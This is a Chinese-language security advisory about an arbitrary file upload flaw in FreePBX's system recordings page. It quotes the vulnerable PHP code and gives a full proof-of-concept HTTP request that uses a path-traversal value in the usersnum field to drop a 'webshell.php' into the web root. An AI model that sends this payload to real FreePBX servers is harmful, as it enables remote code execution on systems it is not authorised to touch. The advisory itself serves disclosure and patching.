FreePBX系统记录菜单任意文件上传漏洞

漏洞起因
输入验证错误
危险等级

 
影响系统
freePBX freePBX 2.5.2
freePBX freePBX 2.5.1
freePBX freePBX 2.4.1
freePBX freePBX 2.2.1
freePBX freePBX 2.2 rc1
freePBX freePBX 2.1.3
freePBX freePBX trunk
freePBX freePBX 2.8.0
freePBX freePBX 2.6
freePBX freePBX 2.5
freePBX freePBX 2.4
 
不受影响系统
 
危害
远程攻击者可以利用漏洞以WEB权限执行任意代码。
 
攻击所需条件
攻击者必须访问FreePBX。
 
漏洞信息
FreePBX是一款用来控制Asterisk的图形化接口。
FreePBX配置接口中的系统记录菜单存在任意代码执行漏洞。FreePBX没有不安全的处理文件上传,允许攻击者操作文件扩展和起始的上传文件名。
下面的代码摘自page.recordings.php,描述了部分记录上传功能:
/* Code removed to fit better on advisory */
<?php
if (isset($_FILES[‘ivrfile’][‘tmp_name’]) &&
is_uploaded_file($_FILES[‘ivrfile’][‘tmp_name’])) {
if (empty($usersnum)) {
$dest = "unnumbered-";
} else {
$dest = "{$usersnum}-";
}
$suffix = substr(strrchr($_FILES[‘ivrfile’][‘name’], "."), 1);
$destfilename = $recordings_save_path.$dest."ivrrecording.".$suffix;
move_uploaded_file($_FILES[‘ivrfile’][‘tmp_name’], $destfilename);
echo "<h6>"._("Successfully uploaded")."
".$_FILES[‘ivrfile’][‘name’]."</h6>";
$rname = rtrim(basename($_FILES[‘ivrfile’][‘name’], $suffix), ‘.’);
} ?>
/* Code removed to fit better on advisory */
当上传一个文件时,会临时在/tmp目录下保存一份拷贝,而文件名由user-controlled-staticname.extension组成,而:
"user-controlled"是$usersnum变量生成。
"staticname"值是-ivrrecording.
"extension"由用户控制。
如果$usersnum变量没有定义的情况下,就会使用静态字符串(非数字)。
最后,当用户点击系统记录接口上的保存按钮时,会在/var/lib/asterisk/sounds/custom/目录下以用户提供的原始文件名形式保存。
当上传一个文件时,攻击者可以操作$usersnum变量执行路径遍历攻击并保存在用户可访问的WEB服务器目录上,如Apache DocumentRoot。这允许攻击者上传恶意代码并以WEB服务器权限执行。
 
测试方法
POST /admin/config.php HTTP/1.1
Host: 10.10.1.3
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5;
en-US; rv:1.9.1.7) Gecko/20101221 Firefox/3.5.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://10.10.1.3/admin/config.php
Cookie: ARI=cookieValue; PHPSESSID=cookieValue
Authorization: Basic base64auth
Content-Type: multipart/form-data;
boundary=—————————5991806838789183981588991120
Content-Length: 116089
—————————–5991806838789183981588991120
Content-Disposition: form-data; name="display"
recordings
—————————–5991806838789183981588991120
Content-Disposition: form-data; name="action"
recordings_start
—————————–5991806838789183981588991120
Content-Disposition: form-data; name="usersnum"
../../../../../var/www/html/admin/SpiderLabs
—————————–5991806838789183981588991120
Content-Disposition: form-data; name="ivrfile"; filename="webshell.php"
Content-Type: application/octet-stream
<?php
/* WebShell code goes here */
?>
—————————–5991806838789183981588991120–
可通过http://10.10.1.3/admin/SpiderLabs-ivrrecording.php访问。
 
厂商解决方案
用户可参考如下供应商提供的安全公告获得补丁信息:
http://www.freepbx.org/trac/ticket/4553
 
漏洞提供者
Wendel G. Henrique of Trustwave’s SpiderLabs

发表评论?

0 条评论。

发表评论